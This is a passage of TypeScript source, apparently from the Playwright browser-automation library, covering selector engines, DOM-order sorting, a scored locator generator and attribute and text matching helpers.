query((root as Element).shadowRoot!);
for (const element of root.querySelectorAll('*')) {
if (element.shadowRoot)
query(element.shadowRoot);
}
}
query(context.scope);
return result;
});
}
private _getEngine(name: string): SelectorEngine {
const engine = this._engines.get(name);
if (!engine)
throw new Error(`Unknown selector engine "${name}"`);
return engine;
}
}
const isEngine: SelectorEngine = {
matches(element: Element, args: (string | number | Selector)[], context: QueryContext, evaluator: SelectorEvaluator): boolean {
if (args.length === 0)
throw new Error(`"is" engine expects non-empty selector list`);
return args.some(selector => evaluator.matches(element, selector, context));
},
query(context: QueryContext, args: (string | number | Selector)[], evaluator: SelectorEvaluator): Element[] {
if (args.length === 0)
throw new Error(`"is" engine expects non-empty selector list`);
let elements: Element[] = [];
for (const arg of args)
elements = elements.concat(evaluator.query(context, arg));
return args.length === 1 ? elements : sortInDOMOrder(elements);
},
};
const hasEngine: SelectorEngine = {
matches(element: Element, args: (string | number | Selector)[], context: QueryContext, evaluator: SelectorEvaluator): boolean {
if (args.length === 0)
throw new Error(`"has" engine expects non-empty selector list`);
return evaluator.query({ ...context, scope: element }, args).length > 0;
},
// TODO: we can implement efficient "query" by matching "args" and returning
// all parents/descendants, just have to be careful with the ":scope" matching.
};
const scopeEngine: SelectorEngine = {
matches(element: Element, args: (string | number | Selector)[], context: QueryContext, evaluator: SelectorEvaluator): boolean {
if (args.length !== 0)
throw new Error(`"scope" engine expects no arguments`);
const actualScope = context.originalScope || context.scope;
if (actualScope.nodeType === 9 /* Node.DOCUMENT_NODE */)
return element === (actualScope as Document).documentElement;
return element === actualScope;
},
query(context: QueryContext, args: (string | number | Selector)[], evaluator: SelectorEvaluator): Element[] {
if (args.length !== 0)
throw new Error(`"scope" engine expects no arguments`);
const actualScope = context.originalScope || context.scope;
if (actualScope.nodeType === 9 /* Node.DOCUMENT_NODE */) {
const root = (actualScope as Document).documentElement;
return root ? [root] : [];
}
if (actualScope.nodeType === 1 /* Node.ELEMENT_NODE */)
return [actualScope as Element];
return [];
},
};
const notEngine: SelectorEngine = {
matches(element: Element, args: (string | number | Selector)[], context: QueryContext, evaluator: SelectorEvaluator): boolean {
if (args.length === 0)
throw new Error(`"not" engine expects non-empty selector list`);
return !evaluator.matches(element, args, context);
},
};
const lightEngine: SelectorEngine = {
query(context: QueryContext, args: (string | number | Selector)[], evaluator: SelectorEvaluator): Element[] {
return evaluator.query({ ...context, pierceShadow: false }, args);
},
matches(element: Element, args: (string | number | Selector)[], context: QueryContext, evaluator: SelectorEvaluator): boolean {
return evaluator.matches(element, args, { ...context, pierceShadow: false });
}
};
const visibleEngine: SelectorEngine = {
matches(element: Element, args: (string | number | Selector)[], context: QueryContext, evaluator: SelectorEvaluator): boolean {
if (args.length)
throw new Error(`"visible" engine expects no arguments`);
return isElementVisible(element);
}
};
const textEngine: SelectorEngine = {
matches(element: Element, args: (string | number | Selector)[], context: QueryContext, evaluator: SelectorEvaluator): boolean {
if (args.length !== 1 || typeof args[0] !== 'string')
throw new Error(`"text" engine expects a single string`);
const text = normalizeWhiteSpace(args[0]).toLowerCase();
const matcher = (elementText: ElementText) => elementText.normalized.toLowerCase().includes(text);
return elementMatchesText((evaluator as SelectorEvaluatorImpl)._cacheText, element, matcher) === 'self';
},
};
const textIsEngine: SelectorEngine = {
matches(element: Element, args: (string | number | Selector)[], context: QueryContext, evaluator: SelectorEvaluator): boolean {
if (args.length !== 1 || typeof args[0] !== 'string')
throw new Error(`"text-is" engine expects a single string`);
const text = normalizeWhiteSpace(args[0]);
const matcher = (elementText: ElementText) => {
if (!text && !elementText.immediate.length)
return true;
return elementText.immediate.some(s => normalizeWhiteSpace(s) === text);
};
return elementMatchesText((evaluator as SelectorEvaluatorImpl)._cacheText, element, matcher) !== 'none';
},
};
const textMatchesEngine: SelectorEngine = {
matches(element: Element, args: (string | number | Selector)[], context: QueryContext, evaluator: SelectorEvaluator): boolean {
if (args.length === 0 || typeof args[0] !== 'string' || args.length > 2 || (args.length === 2 && typeof args[1] !== 'string'))
throw new Error(`"text-matches" engine expects a regexp body and optional regexp flags`);
const re = new RegExp(args[0], args.length === 2 ? args[1] : undefined);
const matcher = (elementText: ElementText) => re.test(elementText.full);
return elementMatchesText((evaluator as SelectorEvaluatorImpl)._cacheText, element, matcher) === 'self';
},
};
const hasTextEngine: SelectorEngine = {
matches(element: Element, args: (string | number | Selector)[], context: QueryContext, evaluator: SelectorEvaluator): boolean {
if (args.length !== 1 || typeof args[0] !== 'string')
throw new Error(`"has-text" engine expects a single string`);
if (shouldSkipForTextMatching(element))
return false;
const text = normalizeWhiteSpace(args[0]).toLowerCase();
const matcher = (elementText: ElementText) => elementText.normalized.toLowerCase().includes(text);
return matcher(elementText((evaluator as SelectorEvaluatorImpl)._cacheText, element));
},
};
function createLayoutEngine(name: LayoutSelectorName): SelectorEngine {
return {
matches(element: Element, args: (string | number | Selector)[], context: QueryContext, evaluator: SelectorEvaluator): boolean {
const maxDistance = args.length && typeof args[args.length - 1] === 'number' ? args[args.length - 1] : undefined;
const queryArgs = maxDistance === undefined ? args : args.slice(0, args.length - 1);
if (args.length < 1 + (maxDistance === undefined ? 0 : 1))
throw new Error(`"${name}" engine expects a selector list and optional maximum distance in pixels`);
const inner = evaluator.query(context, queryArgs);
const score = layoutSelectorScore(name, element, inner, maxDistance);
if (score === undefined)
return false;
(evaluator as SelectorEvaluatorImpl)._markScore(element, score);
return true;
}
};
}
const nthMatchEngine: SelectorEngine = {
query(context: QueryContext, args: (string | number | Selector)[], evaluator: SelectorEvaluator): Element[] {
let index = args[args.length - 1];
if (args.length < 2)
throw new Error(`"nth-match" engine expects non-empty selector list and an index argument`);
if (typeof index !== 'number' || index < 1)
throw new Error(`"nth-match" engine expects a one-based index as the last argument`);
const elements = isEngine.query!(context, args.slice(0, args.length - 1), evaluator);
index--; // one-based
return index < elements.length ? [elements[index]] : [];
},
};
function parentElementOrShadowHostInContext(element: Element, context: QueryContext): Element | undefined {
if (element === context.scope)
return;
if (!context.pierceShadow)
return element.parentElement || undefined;
return parentElementOrShadowHost(element);
}
function previousSiblingInContext(element: Element, context: QueryContext): Element | undefined {
if (element === context.scope)
return;
return element.previousElementSibling || undefined;
}
export function sortInDOMOrder(elements: Iterable<Element>): Element[] {
type SortEntry = { children: Element[], taken: boolean };
const elementToEntry = new Map<Element, SortEntry>();
const roots: Element[] = [];
const result: Element[] = [];
function append(element: Element): SortEntry {
let entry = elementToEntry.get(element);
if (entry)
return entry;
const parent = parentElementOrShadowHost(element);
if (parent) {
const parentEntry = append(parent);
parentEntry.children.push(element);
} else {
roots.push(element);
}
entry = { children: [], taken: false };
elementToEntry.set(element, entry);
return entry;
}
for (const e of elements)
append(e).taken = true;
function visit(element: Element) {
const entry = elementToEntry.get(element)!;
if (entry.taken)
result.push(element);
if (entry.children.length > 1) {
const set = new Set(entry.children);
entry.children = [];
let child = element.firstElementChild;
while (child && entry.children.length < set.size) {
if (set.has(child))
entry.children.push(child);
child = child.nextElementSibling;
}
child = element.shadowRoot ? element.shadowRoot.firstElementChild : null;
while (child && entry.children.length < set.size) {
if (set.has(child))
entry.children.push(child);
child = child.nextElementSibling;
}
}
entry.children.forEach(visit);
}
roots.forEach(visit);
return result;
}
@@ -0,0 +1,581 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { escapeForAttributeSelector, escapeForTextSelector, escapeRegExp, quoteCSSAttributeValue } from '@isomorphic/stringUtils';
import { beginDOMCaches, closestCrossShadow, endDOMCaches, isElementVisible, isInsideScope, parentElementOrShadowHost } from './domUtils';
import { beginAriaCaches, endAriaCaches, getAriaRole, getElementAccessibleName } from './roleUtils';
import { elementText, getElementLabels } from './selectorUtils';
import type { InjectedScript } from './injectedScript';
type SelectorToken = {
engine: string;
selector: string;
score: number; // Lower is better.
};
type Cache = {
allowText: Map<Element, SelectorToken[] | null>;
disallowText: Map<Element, SelectorToken[] | null>;
};
const kTextScoreRange = 10;
const kExactPenalty = kTextScoreRange / 2;
const kTestIdScore = 1; // testIdAttributeName
const kOtherTestIdScore = 2; // other data-test* attributes
const kIframeByAttributeScore = 10;
const kBeginPenalizedScore = 50;
const kRoleWithNameScore = 100;
const kPlaceholderScore = 120;
const kLabelScore = 140;
const kAltTextScore = 160;
const kTextScore = 180;
const kTitleScore = 200;
const kTextScoreRegex = 250;
const kPlaceholderScoreExact = kPlaceholderScore + kExactPenalty;
const kLabelScoreExact = kLabelScore + kExactPenalty;
const kRoleWithNameScoreExact = kRoleWithNameScore + kExactPenalty;
const kAltTextScoreExact = kAltTextScore + kExactPenalty;
const kTextScoreExact = kTextScore + kExactPenalty;
const kTitleScoreExact = kTitleScore + kExactPenalty;
const kEndPenalizedScore = 300;
const kCSSIdScore = 500;
const kRoleWithoutNameScore = 510;
const kCSSInputTypeNameScore = 520;
const kCSSTagNameScore = 530;
const kNthScore = 10000;
const kCSSFallbackScore = 10000000;
const kScoreThresholdForTextExpect = 1000;
export type GenerateSelectorOptions = {
testIdAttributeName: string;
omitInternalEngines?: boolean;
root?: Element | Document;
forTextExpect?: boolean;
multiple?: boolean;
};
export function generateSelector(injectedScript: InjectedScript, targetElement: Element, options: GenerateSelectorOptions): { selector: string, selectors: string[], elements: Element[] } {
injectedScript._evaluator.begin();
const cache: Cache = { allowText: new Map(), disallowText: new Map() };
beginAriaCaches();
beginDOMCaches();
try {
let selectors: string[] = [];
if (options.forTextExpect) {
let targetTokens = cssFallback(injectedScript, targetElement.ownerDocument.documentElement, options);
for (let element: Element | undefined = targetElement; element; element = parentElementOrShadowHost(element)) {
const tokens = generateSelectorFor(cache, injectedScript, element, { ...options, noText: true });
if (!tokens)
continue;
const score = combineScores(tokens);
if (score <= kScoreThresholdForTextExpect) {
targetTokens = tokens;
break;
}
}
selectors = [joinTokens(targetTokens)];
} else {
// Note: this matches InjectedScript.retarget().
if (!targetElement.matches('input,textarea,select') && !(targetElement as any).isContentEditable) {
const interactiveParent = closestCrossShadow(targetElement, 'button,select,input,[role=button],[role=checkbox],[role=radio],a,[role=link]', options.root);
if (interactiveParent && isElementVisible(interactiveParent))
targetElement = interactiveParent;
}
if (options.multiple) {
const withText = generateSelectorFor(cache, injectedScript, targetElement, options);
const withoutText = generateSelectorFor(cache, injectedScript, targetElement, { ...options, noText: true });
let tokens = [withText, withoutText];
// Clear cache to re-generate without css id.
cache.allowText.clear();
cache.disallowText.clear();
if (withText && hasCSSIdToken(withText))
tokens.push(generateSelectorFor(cache, injectedScript, targetElement, { ...options, noCSSId: true }));
if (withoutText && hasCSSIdToken(withoutText))
tokens.push(generateSelectorFor(cache, injectedScript, targetElement, { ...options, noText: true, noCSSId: true }));
tokens = tokens.filter(Boolean);
if (!tokens.length) {
const css = cssFallback(injectedScript, targetElement, options);
tokens.push(css);
if (hasCSSIdToken(css))
tokens.push(cssFallback(injectedScript, targetElement, { ...options, noCSSId: true }));
}
selectors = [...new Set(tokens.map(t => joinTokens(t!)))];
} else {
const targetTokens = generateSelectorFor(cache, injectedScript, targetElement, options) || cssFallback(injectedScript, targetElement, options);
selectors = [joinTokens(targetTokens)];
}
}
const selector = selectors[0];
const parsedSelector = injectedScript.parseSelector(selector);
return {
selector,
selectors,
elements: injectedScript.querySelectorAll(parsedSelector, options.root ?? targetElement.ownerDocument)
};
} finally {
endDOMCaches();
endAriaCaches();
injectedScript._evaluator.end();
}
}
type InternalOptions = GenerateSelectorOptions & { noText?: boolean, noCSSId?: boolean, isRecursive?: boolean };
function generateSelectorFor(cache: Cache, injectedScript: InjectedScript, targetElement: Element, options: InternalOptions): SelectorToken[] | null {
if (options.root && !isInsideScope(options.root, targetElement))
throw new Error(`Target element must belong to the root's subtree`);
if (targetElement === options.root)
return [{ engine: 'css', selector: ':scope', score: 1 }];
if (targetElement.ownerDocument.documentElement === targetElement)
return [{ engine: 'css', selector: 'html', score: 1 }];
let result: SelectorToken[] | null = null;
const updateResult = (candidate: SelectorToken[]) => {
if (!result || combineScores(candidate) < combineScores(result))
result = candidate;
};
const candidates: { candidate: SelectorToken[], isTextCandidate: boolean }[] = [];
if (!options.noText) {
for (const candidate of buildTextCandidates(injectedScript, targetElement, !options.isRecursive))
candidates.push({ candidate, isTextCandidate: true });
}
for (const token of buildNoTextCandidates(injectedScript, targetElement, options)) {
if (options.omitInternalEngines && token.engine.startsWith('internal:'))
continue;
candidates.push({ candidate: [token], isTextCandidate: false });
}
candidates.sort((a, b) => combineScores(a.candidate) - combineScores(b.candidate));
for (const { candidate, isTextCandidate } of candidates) {
const elements = injectedScript.querySelectorAll(injectedScript.parseSelector(joinTokens(candidate)), options.root ?? targetElement.ownerDocument);
if (!elements.includes(targetElement)) {
// Somehow this selector just does not match the target. Oh well.
continue;
}
if (elements.length === 1) {
// Perfect strict match. All other candidates are strictly worse because they are sorted by score.
updateResult(candidate);
break;
}
const index = elements.indexOf(targetElement);
if (index > 5) {
// Do not generate locators with nth=6 or worse.
continue;
}
updateResult([...candidate, { engine: 'nth', selector: String(index), score: kNthScore }]);
if (options.isRecursive) {
// Limit nesting to two levels: parent >>> target.
continue;
}
// Now try nested selectors: (best selector for parent) >>> (this candidate selector).
for (let parent = parentElementOrShadowHost(targetElement); parent && parent !== options.root; parent = parentElementOrShadowHost(parent)) {
const filtered = elements.filter(e => isInsideScope(parent, e) && e !== parent);
const newIndex = filtered.indexOf(targetElement);
if (filtered.length > 5 || newIndex === -1 || (newIndex === index && filtered.length > 1)) {
// Filtering to this parent is not an improvement - do not generate selector for parent.
continue;
}
const inParent = filtered.length === 1 ? candidate : [...candidate, { engine: 'nth', selector: String(newIndex), score: kNthScore }];
const idealSelectorForParent = { engine: '', selector: '', score: 1 }; // Best theoretical score we could achieve for the parent.
if (result && combineScores([idealSelectorForParent, ...inParent]) >= combineScores(result)) {
// It is impossible to generate a better scoring selector through this parent.
continue;
}
// Do not allow text in parent selector when using text in the target selector.
const noText = !!options.noText || isTextCandidate;
const cacheMap = noText ? cache.disallowText : cache.allowText;
let parentTokens = cacheMap.get(parent);
if (parentTokens === undefined) {
parentTokens = generateSelectorFor(cache, injectedScript, parent, { ...options, isRecursive: true, noText }) || cssFallback(injectedScript, parent, options);
cacheMap.set(parent, parentTokens);
}
if (!parentTokens)
continue;
updateResult([...parentTokens, ...inParent]);
}
}
return result;
}
function buildNoTextCandidates(injectedScript: InjectedScript, element: Element, options: InternalOptions): SelectorToken[] {
const candidates: SelectorToken[] = [];
// CSS selectors are applicable to elements via locator() and iframes via frameLocator().
{
for (const attr of ['data-testid', 'data-test-id', 'data-test']) {
if (attr !== options.testIdAttributeName && element.getAttribute(attr))
candidates.push({ engine: 'css', selector: `[${attr}=${quoteCSSAttributeValue(element.getAttribute(attr)!)}]`, score: kOtherTestIdScore });
}
if (!options.noCSSId) {
const idAttr = element.getAttribute('id');
if (idAttr && !isGuidLike(idAttr))
candidates.push({ engine: 'css', selector: makeSelectorForId(idAttr), score: kCSSIdScore });
}
candidates.push({ engine: 'css', selector: escapeNodeName(element), score: kCSSTagNameScore });
}
if (element.nodeName === 'IFRAME') {
for (const attribute of ['name', 'title']) {
if (element.getAttribute(attribute))
candidates.push({ engine: 'css', selector: `${escapeNodeName(element)}[${attribute}=${quoteCSSAttributeValue(element.getAttribute(attribute)!)}]`, score: kIframeByAttributeScore });
}
// Locate by testId via CSS selector.
if (element.getAttribute(options.testIdAttributeName))
candidates.push({ engine: 'css', selector: `[${options.testIdAttributeName}=${quoteCSSAttributeValue(element.getAttribute(options.testIdAttributeName)!)}]`, score: kTestIdScore });
penalizeScoreForLength([candidates]);
return candidates;
}
// Everything below is not applicable to iframes (getBy* methods).
if (element.getAttribute(options.testIdAttributeName))
candidates.push({ engine: 'internal:testid', selector: `[${options.testIdAttributeName}=${escapeForAttributeSelector(element.getAttribute(options.testIdAttributeName)!, true)}]`, score: kTestIdScore });
if (element.nodeName === 'INPUT' || element.nodeName === 'TEXTAREA') {
const input = element as HTMLInputElement | HTMLTextAreaElement;
if (input.placeholder) {
candidates.push({ engine: 'internal:attr', selector: `[placeholder=${escapeForAttributeSelector(input.placeholder, true)}]`, score: kPlaceholderScoreExact });
for (const alternative of suitableTextAlternatives(input.placeholder))
candidates.push({ engine: 'internal:attr', selector: `[placeholder=${escapeForAttributeSelector(alternative.text, false)}]`, score: kPlaceholderScore - alternative.scoreBonus });
}
}
const labels = getElementLabels(injectedScript._evaluator._cacheText, element);
for (const label of labels) {
const labelText = label.normalized;
candidates.push({ engine: 'internal:label', selector: escapeForTextSelector(labelText, true), score: kLabelScoreExact });
for (const alternative of suitableTextAlternatives(labelText))
candidates.push({ engine: 'internal:label', selector: escapeForTextSelector(alternative.text, false), score: kLabelScore - alternative.scoreBonus });
}
const ariaRole = getAriaRole(element);
if (ariaRole && !['none', 'presentation'].includes(ariaRole))
candidates.push({ engine: 'internal:role', selector: ariaRole, score: kRoleWithoutNameScore });
if (element.getAttribute('name') && ['BUTTON', 'FORM', 'FIELDSET', 'FRAME', 'IFRAME', 'INPUT', 'KEYGEN', 'OBJECT', 'OUTPUT', 'SELECT', 'TEXTAREA', 'MAP', 'META', 'PARAM'].includes(element.nodeName))
candidates.push({ engine: 'css', selector: `${escapeNodeName(element)}[name=${quoteCSSAttributeValue(element.getAttribute('name')!)}]`, score: kCSSInputTypeNameScore });
if (['INPUT', 'TEXTAREA'].includes(element.nodeName) && element.getAttribute('type') !== 'hidden') {
if (element.getAttribute('type'))
candidates.push({ engine: 'css', selector: `${escapeNodeName(element)}[type=${quoteCSSAttributeValue(element.getAttribute('type')!)}]`, score: kCSSInputTypeNameScore });
}
if (['INPUT', 'TEXTAREA', 'SELECT'].includes(element.nodeName) && element.getAttribute('type') !== 'hidden')
candidates.push({ engine: 'css', selector: escapeNodeName(element), score: kCSSInputTypeNameScore + 1 });
penalizeScoreForLength([candidates]);
return candidates;
}
function buildTextCandidates(injectedScript: InjectedScript, element: Element, isTargetNode: boolean): SelectorToken[][] {
if (element.nodeName === 'SELECT')
return [];
const candidates: SelectorToken[][] = [];
const title = element.getAttribute('title');
if (title) {
candidates.push([{ engine: 'internal:attr', selector: `[title=${escapeForAttributeSelector(title, true)}]`, score: kTitleScoreExact }]);
for (const alternative of suitableTextAlternatives(title))
candidates.push([{ engine: 'internal:attr', selector: `[title=${escapeForAttributeSelector(alternative.text, false)}]`, score: kTitleScore - alternative.scoreBonus }]);
}
const alt = element.getAttribute('alt');
if (alt && ['APPLET', 'AREA', 'IMG', 'INPUT'].includes(element.nodeName)) {
candidates.push([{ engine: 'internal:attr', selector: `[alt=${escapeForAttributeSelector(alt, true)}]`, score: kAltTextScoreExact }]);
for (const alternative of suitableTextAlternatives(alt))
candidates.push([{ engine: 'internal:attr', selector: `[alt=${escapeForAttributeSelector(alternative.text, false)}]`, score: kAltTextScore - alternative.scoreBonus }]);
}
const text = elementText(injectedScript._evaluator._cacheText, element).normalized;
const textAlternatives = text ? suitableTextAlternatives(text) : [];
if (text) {
if (isTargetNode) {
if (text.length <= 80)
candidates.push([{ engine: 'internal:text', selector: escapeForTextSelector(text, true), score: kTextScoreExact }]);
for (const alternative of textAlternatives)
candidates.push([{ engine: 'internal:text', selector: escapeForTextSelector(alternative.text, false), score: kTextScore - alternative.scoreBonus }]);
}
const cssToken: SelectorToken = { engine: 'css', selector: escapeNodeName(element), score: kCSSTagNameScore };
for (const alternative of textAlternatives)
candidates.push([cssToken, { engine: 'internal:has-text', selector: escapeForTextSelector(alternative.text, false), score: kTextScore - alternative.scoreBonus }]);
if (isTargetNode && text.length <= 80) {
// Do not use regex for parent elements (for performance).
const re = new RegExp('^' + escapeRegExp(text) + '$');
candidates.push([cssToken, { engine: 'internal:has-text', selector: escapeForTextSelector(re, false), score: kTextScoreRegex }]);
}
}
const ariaRole = getAriaRole(element);
if (ariaRole && !['none', 'presentation'].includes(ariaRole)) {
const ariaName = getElementAccessibleName(element, false);
// \p{Co} means "Private Use" characters - these are often used for icon fonts and make for bad locators.
if (ariaName && !ariaName.match(/^\p{Co}+$/u)) {
const roleToken = { engine: 'internal:role', selector: `${ariaRole}[name=${escapeForAttributeSelector(ariaName, true)}]`, score: kRoleWithNameScoreExact };
candidates.push([roleToken]);
for (const alternative of suitableTextAlternatives(ariaName))
candidates.push([{ engine: 'internal:role', selector: `${ariaRole}[name=${escapeForAttributeSelector(alternative.text, false)}]`, score: kRoleWithNameScore - alternative.scoreBonus }]);
} else {
const roleToken = { engine: 'internal:role', selector: `${ariaRole}`, score: kRoleWithoutNameScore };
for (const alternative of textAlternatives)
candidates.push([roleToken, { engine: 'internal:has-text', selector: escapeForTextSelector(alternative.text, false), score: kTextScore - alternative.scoreBonus }]);
if (isTargetNode && text.length <= 80) {
// Do not use regex for parent elements (for performance).
const re = new RegExp('^' + escapeRegExp(text) + '$');
candidates.push([roleToken, { engine: 'internal:has-text', selector: escapeForTextSelector(re, false), score: kTextScoreRegex }]);
}
}
}
penalizeScoreForLength(candidates);
return candidates;
}
function makeSelectorForId(id: string) {
return /^[a-zA-Z][a-zA-Z0-9\-\_]+$/.test(id) ? '#' + id : `[id=${quoteCSSAttributeValue(id)}]`;
}
function hasCSSIdToken(tokens: SelectorToken[]) {
return tokens.some(token => token.engine === 'css' && (token.selector.startsWith('#') || token.selector.startsWith('[id="')));
}
function cssFallback(injectedScript: InjectedScript, targetElement: Element, options: InternalOptions): SelectorToken[] {
const root: Node = options.root ?? targetElement.ownerDocument;
const tokens: string[] = [];
function uniqueCSSSelector(prefix?: string): string | undefined {
const path = tokens.slice();
if (prefix)
path.unshift(prefix);
const selector = path.join(' > ');
const parsedSelector = injectedScript.parseSelector(selector);
const node = injectedScript.querySelector(parsedSelector, root, false);
return node === targetElement ? selector : undefined;
}
function makeStrict(selector: string): SelectorToken[] {
const token = { engine: 'css', selector, score: kCSSFallbackScore };
const parsedSelector = injectedScript.parseSelector(selector);
const elements = injectedScript.querySelectorAll(parsedSelector, root);
if (elements.length === 1)
return [token];
const nth = { engine: 'nth', selector: String(elements.indexOf(targetElement)), score: kNthScore };
return [token, nth];
}
for (let element: Element | undefined = targetElement; element && element !== root; element = parentElementOrShadowHost(element)) {
let bestTokenForLevel: string = '';
// Element ID is the strongest signal, use it.
if (element.id && !options.noCSSId) {
const token = makeSelectorForId(element.id);
const selector = uniqueCSSSelector(token);
if (selector)
return makeStrict(selector);
bestTokenForLevel = token;
}
const parent = element.parentNode as (Element | ShadowRoot);
// Combine class names until unique.
const classes = [...element.classList].map(escapeClassName);
for (let i = 0; i < classes.length; ++i) {
const token = '.' + classes.slice(0, i + 1).join('.');
const selector = uniqueCSSSelector(token);
if (selector)
return makeStrict(selector);
// Even if not unique, does this subset of classes uniquely identify node as a child?
if (!bestTokenForLevel && parent) {
const sameClassSiblings = parent.querySelectorAll(token);
if (sameClassSiblings.length === 1)
bestTokenForLevel = token;
}
}
// Ordinal is the weakest signal.
if (parent) {
const siblings = [...parent.children];
const nodeName = element.nodeName;
const sameTagSiblings = siblings.filter(sibling => sibling.nodeName === nodeName);
const token = sameTagSiblings.indexOf(element) === 0 ? escapeNodeName(element) : `${escapeNodeName(element)}:nth-child(${1 + siblings.indexOf(element)})`;
const selector = uniqueCSSSelector(token);
if (selector)
return makeStrict(selector);
if (!bestTokenForLevel)
bestTokenForLevel = token;
} else if (!bestTokenForLevel) {
bestTokenForLevel = escapeNodeName(element);
}
tokens.unshift(bestTokenForLevel);
}
return makeStrict(uniqueCSSSelector()!);
}
function penalizeScoreForLength(groups: SelectorToken[][]) {
for (const group of groups) {
for (const token of group) {
if (token.score > kBeginPenalizedScore && token.score < kEndPenalizedScore)
token.score += Math.min(kTextScoreRange, (token.selector.length / 10) | 0);
}
}
}
function joinTokens(tokens: SelectorToken[]): string {
const parts = [];
let lastEngine = '';
for (const { engine, selector } of tokens) {
if (parts.length && (lastEngine !== 'css' || engine !== 'css' || selector.startsWith(':nth-match(')))
parts.push('>>');
lastEngine = engine;
if (engine === 'css')
parts.push(selector);
else
parts.push(`${engine}=${selector}`);
}
return parts.join(' ');
}
function combineScores(tokens: SelectorToken[]): number {
let score = 0;
for (let i = 0; i < tokens.length; i++)
score += tokens[i].score * (tokens.length - i);
return score;
}
function isGuidLike(id: string): boolean {
let lastCharacterType: 'lower' | 'upper' | 'digit' | 'other' | undefined;
let transitionCount = 0;
for (let i = 0; i < id.length; ++i) {
const c = id[i];
let characterType: 'lower' | 'upper' | 'digit' | 'other';
if (c === '-' || c === '_')
continue;
if (c >= 'a' && c <= 'z')
characterType = 'lower';
else if (c >= 'A' && c <= 'Z')
characterType = 'upper';
else if (c >= '0' && c <= '9')
characterType = 'digit';
else
characterType = 'other';
if (characterType === 'lower' && lastCharacterType === 'upper') {
lastCharacterType = characterType;
continue;
}
if (lastCharacterType && lastCharacterType !== characterType)
++transitionCount;
lastCharacterType = characterType;
}
return transitionCount >= id.length / 4;
}
function trimWordBoundary(text: string, maxLength: number) {
if (text.length <= maxLength)
return text;
text = text.substring(0, maxLength);
// Find last word boundary in the text.
const match = text.match(/^(.*)\b(.+?)$/);
if (!match)
return '';
return match[1].trimEnd();
}
function suitableTextAlternatives(text: string) {
let result: { text: string, scoreBonus: number }[] = [];
{
const match = text.match(/^([\d.,]+)[^.,\w]/);
const leadingNumberLength = match ? match[1].length : 0;
if (leadingNumberLength) {
const alt = trimWordBoundary(text.substring(leadingNumberLength).trimStart(), 80);
result.push({ text: alt, scoreBonus: alt.length <= 30 ? 2 : 1 });
}
}
{
const match = text.match(/[^.,\w]([\d.,]+)$/);
const trailingNumberLength = match ? match[1].length : 0;
if (trailingNumberLength) {
const alt = trimWordBoundary(text.substring(0, text.length - trailingNumberLength).trimEnd(), 80);
result.push({ text: alt, scoreBonus: alt.length <= 30 ? 2 : 1 });
}
}
if (text.length <= 30) {
result.push({ text, scoreBonus: 0 });
} else {
result.push({ text: trimWordBoundary(text, 80), scoreBonus: 0 });
result.push({ text: trimWordBoundary(text, 30), scoreBonus: 1 });
}
result = result.filter(r => r.text);
if (!result.length)
result.push({ text: text.substring(0, 80), scoreBonus: 0 });
return result;
}
function escapeNodeName(node: Node): string {
// We are escaping it for document.querySelectorAll, not for usage in CSS file.
return node.nodeName.toLocaleLowerCase().replace(/[:\.]/g, char => '\\' + char);
}
function escapeClassName(className: string): string {
// We are escaping class names for document.querySelectorAll by following CSS.escape() rules.
let result = '';
for (let i = 0; i < className.length; i++)
result += cssEscapeCharacter(className, i);
return result;
}
function cssEscapeCharacter(s: string, i: number): string {
// https://drafts.csswg.org/cssom/#serialize-an-identifier
const c = s.charCodeAt(i);
if (c === 0x0000)
return '\uFFFD';
if ((c >= 0x0001 && c <= 0x001f) ||
(c >= 0x0030 && c <= 0x0039 && (i === 0 || (i === 1 && s.charCodeAt(0) === 0x002d))))
return '\\' + c.toString(16) + ' ';
if (i === 0 && c === 0x002d && s.length === 1)
return '\\' + s.charAt(i);
if (c >= 0x0080 || c === 0x002d || c === 0x005f || (c >= 0x0030 && c <= 0x0039) ||
(c >= 0x0041 && c <= 0x005a) || (c >= 0x0061 && c <= 0x007a))
return s.charAt(i);
return '\\' + s.charAt(i);
}
@@ -0,0 +1,131 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { normalizeWhiteSpace } from '@isomorphic/stringUtils';
import { getAriaLabelledByElements } from './roleUtils';
import type { AttributeSelectorPart } from '@isomorphic/selectorParser';
export function matchesComponentAttribute(obj: any, attr: AttributeSelectorPart) {
for (const token of attr.jsonPath) {
if (obj !== undefined && obj !== null)
obj = obj[token];
}
return matchesAttributePart(obj, attr);
}
export function matchesAttributePart(value: any, attr: AttributeSelectorPart) {
const objValue = typeof value === 'string' && !attr.caseSensitive ? value.toUpperCase() : value;
const attrValue = typeof attr.value === 'string' && !attr.caseSensitive ? attr.value.toUpperCase() : attr.value;
if (attr.op === '<truthy>')
return !!objValue;
if (attr.op === '=') {
if (attrValue instanceof RegExp)
return typeof objValue === 'string' && !!objValue.match(attrValue);
return objValue === attrValue;
}
if (typeof objValue !== 'string' || typeof attrValue !== 'string')
return false;
if (attr.op === '*=')
return objValue.includes(attrValue);
if (attr.op === '^=')
return objValue.startsWith(attrValue);
if (attr.op === '$=')
return objValue.endsWith(attrValue);
if (attr.op === '|=')
return objValue === attrValue || objValue.startsWith(attrValue + '-');
if (attr.op === '~=')
return objValue.split(' ').includes(attrValue);
return false;
}
export function shouldSkipForTextMatching(element: Element | ShadowRoot) {
const document = element.ownerDocument;
return element.nodeName === 'SCRIPT' || element.nodeName === 'NOSCRIPT' || element.nodeName === 'STYLE' || document.head && document.head.contains(element);
}
export type ElementText = { full: string, normalized: string, immediate: string[] };
export type TextMatcher = (text: ElementText) => boolean;
export function elementText(cache: Map<Element | ShadowRoot, ElementText>, root: Element | ShadowRoot): ElementText {
let value = cache.get(root);
if (value === undefined) {
value = { full: '', normalized: '', immediate: [] };
if (!shouldSkipForTextMatching(root)) {
let currentImmediate = '';
